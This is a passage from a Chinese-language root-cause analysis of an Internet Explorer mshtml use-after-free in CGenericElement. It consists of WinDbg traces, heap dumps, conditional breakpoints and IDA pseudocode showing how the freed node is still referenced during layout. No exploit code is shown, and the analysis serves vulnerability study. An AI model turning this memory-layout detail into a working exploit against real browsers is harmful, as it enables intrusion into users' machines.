0849cfe8 71f8c4f7 0cef7fa0 00000002 0849e6f4 mshtml!CTextBlock::BuildSpanBeginRun+0x4a
0849e704 71f8b667 0cef7fa0 0d25cf30 0d140fd8 mshtml!CTextBlock::BuildTextBlock+0xaeb
0849e748 71f68f0a 0d25cf30 0d140fd8 0d29afc8 mshtml!CLayoutBlock::BuildBlock+0x1ec
0849e7c8 71f68c83 0d29afc8 0d25cf30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e800 71f68f0a 0d25cf30 0cf00fd8 0c186fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e880 71f68c83 0c186fc8 0d25cf30 0cf00fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e8b8 71f68f0a 0d25cf30 0cbddfd8 0c049fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e938 71f68c83 0c049fc8 0d25cf30 0cbddfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e970 71f69af4 0d25cf30 00000000 00000000 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849ea34 71f6a4f5 0125cf30 0c16afa8 0849ea5b mshtml!CCssDocumentLayout::GetPage+0x22a
0849eba4 7208cc48 0849ed68 0849ed00 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0849ecdc 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0849edd8 71fcaa21 00100000 0849ee30 0cee8fd8 mshtml!CLayout::DoLayout+0x11d
0849edec 72067515 0849ee30 0849ee30 7208c20c mshtml!CCssPageLayout::Notify+0x140
0849edf8 7208c20c 00000000 0cf00fb0 00000000 mshtml!NotifyElement+0x41
0849ee0c 7208c108 0849ee30 0cf00fb0 00000000 mshtml!NotifyTreeNode+0x63
0849ee64 7206730e 0849eef8 0bd7f680 0849eef8 mshtml!NotifyAncestors+0x1b7
0849eebc 7206727c 0c6e0f30 00000000 0bd7f744 mshtml!CMarkup::SendNotification+0x92
0849eee4 7208c06c 0849eef8 0bd7f870 ffffffff mshtml!CMarkup::Notify+0xd6
0849ef2c 720f7e44 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a
0849ef54 72119b0d 0bd5dfd8 00000001 0849f030 mshtml!CElement::EnsureRecalcNotify+0x15f
0849ef94 71ed21fc 00000000 00001200 723d8ba0 mshtml!CElement::GetOffsetParentHelper+0x60
0849efa8 720dde50 0bd5dfd8 0849f030 00000000 mshtml!CElement::get_offsetParent+0x30
...

也就是说IE在设置完offsetParent之后进行了一次渲染。在IDA中看一下CTreeNode::SetLayoutBlock的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
// CTreeNode::SetLayoutBlock
mov     ecx, [esi+44h]  ; 获取CTreeNode中保存的CTextBlock地址
cmp     ecx, edi
jnz     loc_71FC6FAB
...
test    ecx, ecx
jz      short loc_71FC6FB8 ; 如果没有保存任何地址
...
test    edi, edi
jz      loc_720C055B
mov     eax, edi
mov     [esi+44h], edi  ; 把edi作为CTextBlock的值保存下来
call    ?CLayoutBlock_AddRef@@YGXPAVCLayoutBlock@@@Z ; CLayoutBlock_AddRef(CLayoutBlock *)   ; 这里应该是一个计数器,里面增加了1

所以程序在这里给CTreeNode设置好了CTextBlock的值,在windbg中看一下这里面的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:005> ddp edi
0cef7fa0  71fc6cc8 71fcad5d mshtml!CTextBlock::`vector deleting destructor'
0cef7fa4  00000004         // 这里是一个计数器
0cef7fa8  0005e497
0cef7fac  0bd1afc0 00000051 // f2的CTreePos的地址
0cef7fb0  00000000
0cef7fb4  0d29afc8 71fca570 mshtml!CBlockContainerBlock::`vftable'    // 所以这是一个双向链表?
0cef7fb8  00000000
0cef7fbc  0c53ffb0 71f5fa7c mshtml!CTableContainerBlock::`vftable'    // 这里分别指向前向和后向?
0cef7fc0  00000000
0cef7fc4  00000000
0cef7fc8  ffffffff
0cef7fcc  ffffffff
0cef7fd0  0c682f10 03000100
0cef7fd4  00000000
0cef7fd8  00000000
0cef7fdc  00000000
0cef7fe0  00000000
0cef7fe4  0d140fb0 0d150fd0  // 很眼熟,看一下前面的图片,这个是CBodyElement的CTreeNode的地址
0cef7fe8  0000ffff
0cef7fec  71ea9fd0 7206519d mshtml!CFlowLayout::OnTextChange
0cef7ff0  00000004
0cef7ff4  00000004
0cef7ff8  0cef9fc0 00000805 // 看起来也是一个地址
0cef7ffc  d0d0d0d0

几个看起来有意义的数据都进行了注释,其中倒数第二个数据看起来也是一个地址,看一下里面是什么内容:

1
2
3
4
5
6
7
8
0:005> ddp 0cef9fc0
0cef9fc0  00000805
0cef9fc4  00000001
0cef9fc8  0bd1afc0 00000051   // f2的CTreePos的地址
0cef9fcc  0bd1afb0 0d2f7fd8   // f2的CTreeNode的地址
0cef9fd0  c0c0c0c0
0cef9fd4  c0c0c0c0
...

也就是说,IE在执行完offsetParent之后进行了一次渲染,为相关元素构造了CTextBlock结构,添加了它的指针。


 

接下来继续分析,设置完所有这些断点,然后一直执行到垃圾回收之前,看一下和CGenericElement有关的空间情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005> !heap -p -a 0cec1fb0
    address 0cec1fb0 found in
    _DPH_HEAP_ROOT @ 331000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 ce12514:          cec1fb0               4c -          cec1000             2000
    74618e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    771402fe ntdll!RtlDebugAllocateHeap+0x00000030
    770fac4b ntdll!RtlpAllocateHeap+0x000000c4
    770a3b4e ntdll!RtlAllocateHeap+0x0000023a
    71fc0ceb mshtml!CMarkup::InsertElementInternal+0x0000022a
    71fa1c01 mshtml!CDoc::InsertElement+0x0000008a
    71fa1b36 mshtml!InsertDOMNodeHelper+0x000000c2
    71fa2222 mshtml!CElement::InsertBeforeHelper+0x000000d1
    71fa2148 mshtml!CElement::insertBefore+0x0000003c
    71fa20fe mshtml!CElement::appendChild+0x0000003a
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005> !heap -p -a 0ce20fc8
    address 0ce20fc8 found in
    _DPH_HEAP_ROOT @ 331000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 ce115b0:          ce20fc8               38 -          ce20000             2000
          mshtml!CGenericElement::`vftable'
    74618e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    771402fe ntdll!RtlDebugAllocateHeap+0x00000030
    770fac4b ntdll!RtlpAllocateHeap+0x000000c4
    770a3b4e ntdll!RtlAllocateHeap+0x0000023a
    71ecc24c mshtml!CGenericElement::CreateElement+0x00000018
    71fe4be9 mshtml!CreateElement+0x00000043
    7201ca5d mshtml!CMarkup::CreateElement+0x000002e4
    71fa1e56 mshtml!CDocument::CreateElementHelper+0x00000052
    71fa1dcf mshtml!CDocument::createElement+0x00000021
...

也就是说,直到执行CollectGarbage函数之前,这两块堆空间还是正常的占用状态。接下来F5继续执行,程序直接到达异常:

1
2
3
4
5
6
7
8
9
0:005> g
(a8c.4a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=723d5100 ebx=0cec1fb0 ecx=0ce20fc8 edx=00000000 esi=0849ebc8 edi=00000000
eip=7205c400 esp=0849eb9c ebp=0849ebb4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
mshtml!CElement::Doc:
7205c400 8b01            mov     eax,dword ptr [ecx]  ds:002b:0ce20fc8=????????

目前我们已经对分配的堆块空间有了一定了解,可以发现0ce20fc8就是CGenericElementCElement的地址。

 

可以向上翻一下3.2小节的内容,那时我们就已经得出了异常出现是因为垃圾回收已经释放了一个叫做CGenericElement的元素的空间,而后面又对这个空间进行了引用。但是当时虽然发现了这一点,由于对内部机制完全不了解,所以毫无头绪。

 

现在我们看一下函数调用情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:005> kb
ChildEBP RetAddr  Args to Child             
0849eb98 72085961 0849eee4 0cec1fb0 00000000 mshtml!CElement::Doc
0849ebb4 7208586d 0cec1fb0 0849eee4 0cec1fb0 mshtml!CTreeNode::ComputeFormats+0xba
0849ee60 7208a12d 0cec1fb0 0cec1fb0 0849ee80 mshtml!CTreeNode::ComputeFormatsHelper+0x44
0849ee70 7208a0ed 0cec1fb0 0cec1fb0 0849ee90 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
0849ee80 7208a0d4 0cec1fb0 0cec1fb0 0849ee9c mshtml!CTreeNode::GetFancyFormatHelper+0xf
0849ee90 71f0b9c4 0cec1fb0 0849eeac 71f0ba2c mshtml!CTreeNode::GetFancyFormat+0x35
0849ee9c 71f0ba2c 00000000 0cec1fb0 0849eebc mshtml!ISpanQualifier::GetFancyFormat+0x5a
0849eeac 71f7c009 00000000 0d208fa0 0849eef4 mshtml!SLayoutRun::HasInlineMbp+0x10
0849eebc 71f8b4e5 00000000 00000000 0d208fa0 mshtml!SRunPointer::HasInlineMbp+0x56
0849eef4 71f8b575 0849ef13 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf2
0849ef2c 721544f0 0849ef97 0849efab 0cb42ff0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
0849ef78 71f68c83 0cb7afc8 0cb42f30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x250
0849efb0 71f69af4 0cb42f30 00000000 0d262fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849f074 71f6a4f5 01b42f30 0c16afa8 0849f09b mshtml!CCssDocumentLayout::GetPage+0x22a
0849f1e4 7208cc48 0849f3a8 0849f340 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0849f31c 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0849f418 71fcaa21 00100000 0849f470 0cee8fd8 mshtml!CLayout::DoLayout+0x11d
0849f42c 72067515 0849f470 0849f470 7208c20c mshtml!CCssPageLayout::Notify+0x140
...

有一个地址看起来特别眼熟:0cec1fb0,这是CGenericElementTreeNode的地址从函数调用情况中,可以找到最早引用0cec1fb0这个地址的是mshtml!ISpanQualifier::GetFancyFormat+0x5a函数,在3.4.3小节最后推出的结论部分,我们曾经提到过Fancy Format这个东西,它位于CTreeNode+0xC这个DWORD16-31位。

3.4.5 追踪Fancy Format

接下来在IDA中跟踪一下ISpanQualifier::GetFancyFormat这个函数的调用流程,不想截太多的图,这里只贴出关键的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SRunPointer::SpanQualifier
v1 = *(_DWORD **)(a1 + 4);      // v1是由[a1+4]获得的
if ( v1 == (_DWORD *)1 || v1 == (_DWORD *)3 )
  return 1;
if ( (*v1 & 7) == 1 )
  return 0;
return v1[3];              // 注意就是返回的这个值
// SRunPointer::HasInlineMbp
call    ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ ; SRunPointer::SpanQualifier(void)             // 所以eax是这个函数的返回值
call    ?HasInlineMbp@SLayoutRun@@SG_NPAVISpanQualifier@@_N@Z ; SLayoutRun::HasInlineMbp(ISpanQualifier *,bool)
// SLayoutRun::HasInlineMbp@<al>(CTreeNode *a1@<eax>,...
v5 = ISpanQualifier::GetFancyFormat(a2, a1, (bool)a3);     // 这里a1是我们要追踪的TreeNode,它是通过eax传递的  
 
// --> 从这里分别向上和向下看
 
// ISpanQualifier::GetFancyFormat
if ( ISpanQualifier::IsTreeNodeQualifier(this) )
  return CTreeNode::GetFancyFormat(a2);    // a2是CTreeNode指针
// CTreeNode::GetFancyFormat
v1 = *((_WORD *)this + 7);        // 这里要注意,获取的是CTreeNode偏移0xE位置的值,就是Fancy Format的值,要<0才会继续按照调用流程执行
if ( v1 < 0 )
  result = CTreeNode::GetFancyFormatHelper(this);
// CTreeNode::GetFancyFormatHelper
v1 = CTreeNode::GetFancyFormatIndexHelper(this);
// CTreeNode::GetFancyFormatIndexHelper
CTreeNode::ComputeFormatsHelper(this);
return *((__int16 *)this + 7);     // 这里就要返回了,返回前先调用了上面那个函数
// CTreeNode::ComputeFormatsHelper
CFormatInfo::CFormatInfo(this);
CTreeNode::ComputeFormats(pCTreeNode, this);     // 异常是发生在这个函数调用的时候
CFormatInfo::Cleanup(pCFormatInfo_1);
CFormatInfo::~CFormatInfo(pCFormatInfo_2);
// CTreeNode::ComputeFormats
if ( (*((_BYTE *)a2 + 9) & 0x10) != 0 ) {   // 这里判断了CTreeNode+0x9处字节的最高位是不是1,如果不是1才会转到else
                                            // 该处数据猜测与元素类型有关
    ...
} else {
   v6 = CElement::Doc(*(CElement **)a2);   // a2就是函数调用传入的第二个参数,CTreeNode指针
                                                                            // 注意这里的操作就是在试图获取CTreeNode中保存的CElement
...

检查上面ISpanQualifier::GetFancyFormat的调用流程:

 

根据下半部分GetFancyFormat调用函数的情况会发现,只有Fancy Format的值小于0,函数才会继续深入,进一步调用ComputeFormats函数,而如果Fancy Format的值不符合要求,函数是不会对这个元素进行处理的。而在设置完offsetParent之后,Fancy Format的值就变了,不再小于0。

 

因此在开始设置innerHTML之前,即程序刚刚进入CElement::put_innerHTML函数之后,在Fancy Format所在的位置,即0cec1fbc这里设置一个读断点,程序执行后断在这里:

1
2
3
4
5
6
7
8
0:005> ba r4 0cec1fbc
0:005> g
Breakpoint 5 hit
eax=00000001 ebx=00000000 ecx=00000031 edx=00000002 esi=0cec1fb0 edi=0ab92d58
eip=72068337 esp=0849ea9c ebp=0849ec08 iopl=0         nv up ei ng nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000283
mshtml!CTreeNode::VoidCachedNodeInfo+0x16:
72068337 83cbff          or      ebx,0FFFFFFFFh

此时的函数调用情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005> kb
ChildEBP RetAddr  Args to Child             
0849eaa0 720c058a 0ce20fc8 0cec1fb0 00000e20 mshtml!CTreeNode::VoidCachedNodeInfo+0x16
0849eab0 71fa0d2a 00000e20 71fa65df 0c6e0f30 mshtml!CTreeNode::PrivateMakeDead+0x4b
0849eab8 71fa65df 0c6e0f30 00000000 00000018 mshtml!CTreeNode::PrivateExitTree+0xa
0849ec08 71fa5b42 0849ed2c 720e72d6 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x812
0849ece8 71fa6ff9 0849ed20 0849ed2c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x83
0849ed38 71fa6f39 0849eee0 0849ef1c 00000001 mshtml!CDoc::CutCopyMove+0xca
0849ed54 71fa6f17 0849eee0 0849ef1c 00000000 mshtml!CDoc::Remove+0x18
0849ed6c 71fa7aef 0849ef1c 085d074c 720591b8 mshtml!RemoveWithBreakOnEmpty+0x3a
0849ee68 71fa793e 0849eee0 0849ef1c 0849ee90 mshtml!InjectHtmlStream+0x191
0849eea4 71fa71fa 0849eee0 0849ef1c 00000000 mshtml!HandleHTMLInjection+0x5c
0849ef5c 71fa704a 00000000 00000001 085d074c mshtml!CElement::InjectInternal+0x307
0849ef78 71fa988c 0d2f7fd8 00000000 00000001 mshtml!CElement::InjectCompatBSTR+0x46
0849ef98 720e72d6 002f7fd8 085d074c 085dcfd0 mshtml!CElement::put_innerHTML+0x40
...

我们在IDA中看一下这个函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __usercall CTreeNode::VoidCachedNodeInfo(__int16 *tree_node@<esi>)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  TlsGetValue(g_dwTls);
  char_format = tree_node[6];
  if ( char_format != -1 )                // 由于之前设置了offsetParent,此时Char Format的值不是-1
  {
    CDataCacheBase::ReleaseData(v1, char_format);
    tree_node[6] = -1;
    CDataCacheBase::ReleaseData(v3, tree_node[5]);
    tree_node[5] = -1;
  }
  fancy_format = tree_node[7];
  if ( fancy_format != -1 )
  {
    CDataCacheBase::ReleaseData(v1, fancy_format);
    tree_node[7] = -1;
  }
}

可以看到执行完这个函数,Char FormatFancy Format又设置成了-1。但是此时CElement中仍旧保存着CTreeNode的值:

1
2
3
4
0:005> dd 0ce20fc8 la
0ce20fc8  71ecc2e8 00000002 00000008 0bfd2fe8
0ce20fd8  085b2e60 0cec1fb0 80000075 88010200
0ce20fe8  00000006 0c6e0f30

在这个位置上也设置一个读断点,然后继续执行:

1
2
3
4
5
6
7
8
0:005> ba r4 0ce20fdc
0:005> g
Breakpoint 6 hit
eax=0ce20fc8 ebx=00000000 ecx=00000e20 edx=0cec1fb0 esi=00000000 edi=0ce20fc8
eip=71fa65f5 esp=0849eac0 ebp=0849ec08 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
mshtml!CSpliceTreeEngine::RemoveSplice+0x828:
71fa65f5 e8fba91100      call    mshtml!CElement::DelMarkupPtr (720c0ff5)

也就是说在设置innerHTML为空的时候,通过CElement::DelMarkupPtr,删除了CElement中对于CTreeNode的引用。


 

上半部分显示了CTreeNode是怎样传入这个函数的,最终追踪到了SRunPointer::SpanQualifier函数,再往前由于缺少函数调用流程,不知道该检查哪个函数。

 

所以现在需要确定SRunPointer::SpanQualifier函数中的a1是什么东西。

 

要在SRunPointer::SpanQualifier这个函数上设置一个断点,为了确保代码能够执行到这个函数中最后的return v1[3];返回语句,需要设置条件断点

1
bu SRunPointer::SpanQualifier "j ((poi(@eax+4)=1) OR (poi(@eax+4)=3)) 'g' ; 'dd eax;g'"

使用这个条件断点执行到异常发生会输出一长串信息,因为断点命中了很多次,只取最后一次的输出:

1
2
3
4
5
6
7
8
0849eee4  0d208fa0 0d5dcfd0 00000000 0cb7afc8
0849eef4  0849ef2c 71f8b575 0849ef13 00000000
0849ef04  00000000 0849f038 71faa6f9 0000ef24
0849ef14  00000000 00000031 0849ef93 72066e6a
0849ef24  0849ef78 71f6794c 0849ef78 721544f0
0849ef34  0849ef97 0849efab 0cb42ff0 0849f068
0849ef44  00000002 0d140fd8 00000000 0849efab
0849ef54  0cb7af00 0849f001 0bd1afd8 00000000

仔细检查一下相关的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:005> ddp 0849eee4
0849eee4  0d208fa0 71fc6cc8 mshtml!CTextBlock::`vftable'
0849eee8  0d5dcfd0 00000805
0849eeec  00000000
0849eef0  0cb7afc8 71fca570 mshtml!CBlockContainerBlock::`vftable'
0849eef4  0849ef2c 0849ef78
0849eef8  71f8b575 13245c38
0849eefc  0849ef13 00000000
...
0:005> ddp 0d5dcfd0
0d5dcfd0  00000805
0d5dcfd4  00000002
0d5dcfd8  0cec1fc0 00000071         // 这个地址是保存在CTreeNode中的CTreePos的地址
0d5dcfdc  0cec1fb0 0ce20fc8         // 这个地址就是CGenericElement的CTreeNode的地址
0d5dcfe0  00000806
0d5dcfe4  00000003
0d5dcfe8  0cec1fd8 00000152
0d5dcfec  0cec1fb0 0ce20fc8
0d5dcff0  00000806
0d5dcff4  00000004
0d5dcff8  0bd1afd8 00000052
0d5dcffc  0bd1afb0 0d2f7fd8
...

根据上面的输出结果,我们知道SRunPointer::SpanQualifier函数中的a1指向的是一个CTextBlock[a1+4]指向的是一个列表,上面的第二个输出,可以看出每16个字节是列表中的一项,每项中又包含四个不同的数据,其中第三个数据是CTreePos的地址,第四个数据是CTreeNode的地址。函数返回的就是这个CTreeNode的地址。

 

所以这个结构有没有很熟悉,和我们在3.4.4中分析CTextBlock的时候,遇到的倒数第二个数据指向的位置结构相同。这里为了方便,沿用《漏洞战争》使用的名称,把这块数据叫做element_array

3.5 对比调试

上面的调试分析更多的是让自己对和此次漏洞有关的数据结构有所了解,同时也初步确定了poc代码中一些元素的作用,但是可能还有一些作用不太清晰。接下来会通过修改Poc代码,删除对应元素的方式,确定各元素对于最终异常的产生有什么印象。

3.5.1 没有hr元素

经过调试发现,一直到执行完垃圾回收,CTreeBlock处仍旧包含已经释放的CGenericElement元素的CTreeNode。因此问题应该出在脚本执行结束后的渲染部分,它可能没有遍历CTreeBlock

 

为了验证这一点,在element_array所在的位置设置一个读写断点,执行后发现,程序中断的位置的函数调用流程为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:005> kb
ChildEBP RetAddr  Args to Child             
085eebf8 71fc8bff 00000000 00000010 0bdcefa0 mshtml!SLayoutRun::SetSpanQualifier+0x29
085eec14 71fcadb6 0bdcefa0 0bdcefa0 0d2c296c mshtml!SLayoutRun::Clear+0xd4
085eec28 71fcad6b 00000001 0cb5ffd8 085eec4c mshtml!CTextBlock::~CTextBlock+0x2a
085eec38 71fcae15 00000001 07f09c00 0c045790 mshtml!CTextBlock::`scalar deleting destructor'+0xe
085eec4c 71fc7836 0bfd3fe8 0cb5ffd8 07f0a0f0 mshtml!CPtsClient::DestroyParaclient+0x53
085eec68 71fc7b68 07f09c00 0d2c2978 00000000 mshtml!Ptls5::FsDestroyParaFormatResult+0x4f
...
085ef098 71f69e2c 07f09c00 0ce32600 0b92df30 mshtml!Ptls5::FsUpdateBottomlessPage+0x71
085ef13c 71f6a4f5 0092df30 0a651fa8 085ef163 mshtml!CCssDocumentLayout::GetPage+0x599
085ef2ac 7208cc48 085ef470 085ef408 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
085ef3e4 720bce63 0a651fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
085ef4e0 71fcaa21 00100000 085ef538 0c535fd8 mshtml!CLayout::DoLayout+0x11d
085ef4f4 72067515 085ef538 085ef538 7208c20c mshtml!CCssPageLayout::Notify+0x140

注意在CCssDocumentLayout::GetPage的调用中,程序没有像发生异常那样调用CLayoutBlock::BuildBlock,而是调用了Ptls5::FsUpdateBottomlessPage,并且最终调用了CTextBlock的析构函数,在执行完析构函数之后,CGenericElment所在的CTextBlock的空间就释放了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:005> gu
eax=0bdcefb8 ebx=0d2c296c ecx=00000000 edx=00441078 esi=0bdcefa0 edi=0bdcefa0
eip=71fcad6b esp=085eec34 ebp=085eec38 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!CTextBlock::`scalar deleting destructor'+0xe:
71fcad6b f6450801        test    byte ptr [ebp+8],1         ss:002b:085eec40=01
0:005> !heap -p -a 0bdd0fc0
    address 0bdd0fc0 found in
    _DPH_HEAP_ROOT @ 441000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    c443e04:          bdd0000             2000
    746790b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77140acc ntdll!RtlDebugFreeHeap+0x0000002f
    770fa967 ntdll!RtlpFreeHeap+0x0000005d
    770a32f2 ntdll!RtlFreeHeap+0x00000142
    74eb14d1 kernel32!HeapFree+0x00000014
    72063843 mshtml!CImplAry::DeleteAll+0x00000017
    71fcad6b mshtml!CTextBlock::`scalar deleting destructor'+0x0000000e
    71fcae15 mshtml!CPtsClient::DestroyParaclient+0x00000053
    71fc7836 mshtml!Ptls5::FsDestroyParaFormatResult+0x0000004f
...

3.5.2 没有offsetParent

没有了设置offsetParent的语句,程序直接到达设置innerHTML的部分,此时查看CGenericElementCTreeNode

1
2
3
4
5
6
0:005> dd 0bef7fb0 l13
0bef7fb0  0c497fc8 0c2a2fb0 ffff0275 ffffffff
0bef7fc0  00000061 00000000 0bef7fd8 0c2a2fc0
0bef7fd0  0c2a2fc0 0bef7fd8 00000062 00000000
0bef7fe0  0c2a2fd8 0bef7fc0 0bef7fc0 0c2a2fd8
0bef7ff0  00000008 00000000 00000000

可以看到Char FormatFancy Format的位置是-1,而如果有设置offsetParent的操作,这时这里应该不是-1。除此之外,CTextBlock的部分也是空的。这点之前也提到了,设置offsetParent会让IE重新对DOM树进行渲染,并构造相关的CTextBlock结构。

 

但是继续往下执行,我发现CTreeNode这里的空间直接被释放了???在IDA中仔细检查相关代码,在3.4.5追踪Fancy Format的时候,贴过函数调用流程,CTreeNode::VoidCachedNodeInfo查看了Char Format的数值,向前回溯,到达CTreeNode::PrivateExitTree函数:

1
2
3
4
5
6
7
8
void __usercall CTreeNode::PrivateExitTree(CTreeNode *this@<ecx>, int a2@<esi>)
{
  CTreeNode *v2; // ecx
 
  CTreeNode::PrivateMakeDead(this);
  if ( (*(_BYTE *)(a2 + 0x40) & 2) == 0 )
    CTreeNode::Release(v2);
}

有一个if语句,如果通过,会调用CTreeNode::Release函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov     ecx, [edx+40h]
mov     eax, ecx
shr     eax, 3
and     ecx, 7
lea     eax, [eax*8-8]
or      eax, ecx
mov     [edx+40h], eax
test    eax, 0FFFFFFF8h
jnz     short loc_720AE593   // 如果不跳转,就会执行HeapFree函数
push    edx             ; lpMem
push    0               ; dwFlags
push    _g_hProcessHeap ; hHeap
call    ds:__imp__HeapFree@12 ; HeapFree(x,x,x)
xor     eax, eax
retn

这个if语句检查的是CTreeNode的倒数第三个DWORD,在此例中,即数值为0x08的字节。如果你查看一下之前的贴图,发生异常的情况下,这里的数值是0x18

 

这里做个计算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mov     ecx, [edx+40h]      // ecx <- 1000b
mov     eax, ecx
shr     eax, 3              // eax <- 1
and     ecx, 7              // ecx <- 1000b & 111b = 0
lea     eax, [eax*8-8]      // eax <- 1*8-8 = 0
or      eax, ecx            // eax <- 0
mov     [edx+40h], eax
test    eax, 0FFFFFFF8h     // 0 不跳转
----------------------------------------------
mov     ecx, [edx+40h]      // ecx <- 11000b
mov     eax, ecx    
shr     eax, 3              // eax <- 11b
and     ecx, 7              // ecx <- 11000b & 111b = 0
lea     eax, [eax*8-8]      // eax <- 3*8-8 = 16 = 10000b
or      eax, ecx            // eax <- 10000b
mov     [edx+40h], eax
test    eax, 0FFFFFFF8h     // !=0 跳转

如上,可以看到两种情况的走向完全不同。

 

这个字节的数值在之前分析offsetParent的时候并没有注意,所以这次要在此调试一下,在这里设置一个读写断点,看看设置offsetParent是在什么时候对这个字节进行了修改,这个字节又有什么意义。

1
2
3
4
5
6
7
0:005> ba r4 0cec1ff0
0:005> bl
 0 e 71fe4be7     0001 (00010:**** mshtml!CreateElement+0x41 "ln eax;g"
 1 e 71fe485b     0001 (00010:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g"
 2 e 71fc0d02     0001 (00010:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g"
 3 e 71ed20e1     0001 (00010:**** mshtml!CElement::GetOffsetParentHelper
 4 e 0cec1ff0 r 4 0001 (00010:****

继续执行,会先到达CElement::ComputeFormats,没有重要操作,继续执行,到达这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0:005> g
Breakpoint 4 hit
eax=00000008 ebx=0849e6fc ecx=0cec1fb0 edx=00000000 esi=0849d018 edi=0849d018
eip=720ae54b esp=0849cf74 ebp=0849cfc4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
mshtml!CTreeNode::AddRef+0x3:
720ae54b 8bd0            mov     edx,eax
0:005> kb
ChildEBP RetAddr  Args to Child             
0849cf70 71f10fc0 00000000 0849d018 0849e6fc mshtml!CTreeNode::AddRef+0x3
0849cfc4 71f1129a 0aeadfa0 0cec1fb0 0849cffc mshtml!CTextBlock::ComputeSpanBeginQualifier+0x289
0849cfe8 71f8c4f7 0aeadfa0 00000002 0849e6f4 mshtml!CTextBlock::BuildSpanBeginRun+0xa1
0849e704 71f8b667 0aeadfa0 0d188f30 0d140fd8 mshtml!CTextBlock::BuildTextBlock+0xaeb
0849e748 71f68f0a 0d188f30 0d140fd8 0c0e9fc8 mshtml!CLayoutBlock::BuildBlock+0x1ec
0849e7c8 71f68c83 0c0e9fc8 0d188f30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e800 71f68f0a 0d188f30 0cf00fd8 0c0e7fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e880 71f68c83 0c0e7fc8 0d188f30 0cf00fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e8b8 71f68f0a 0d188f30 0cbddfd8 0ced9fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e938 71f68c83 0ced9fc8 0d188f30 0cbddfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e970 71f69af4 0d188f30 00000000 00000000 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849ea34 71f6a4f5 01188f30 0c16afa8 0849ea5b mshtml!CCssDocumentLayout::GetPage+0x22a
0849eba4 7208cc48 0849ed68 0849ed00 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0849ecdc 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0849edd8 71fcaa21 00100000 0849ee30 0cee8fd8 mshtml!CLayout::DoLayout+0x11d
0849edec 72067515 0849ee30 0849ee30 7208c20c mshtml!CCssPageLayout::Notify+0x140
0849edf8 7208c20c 00000000 0cf00fb0 00000000 mshtml!NotifyElement+0x41
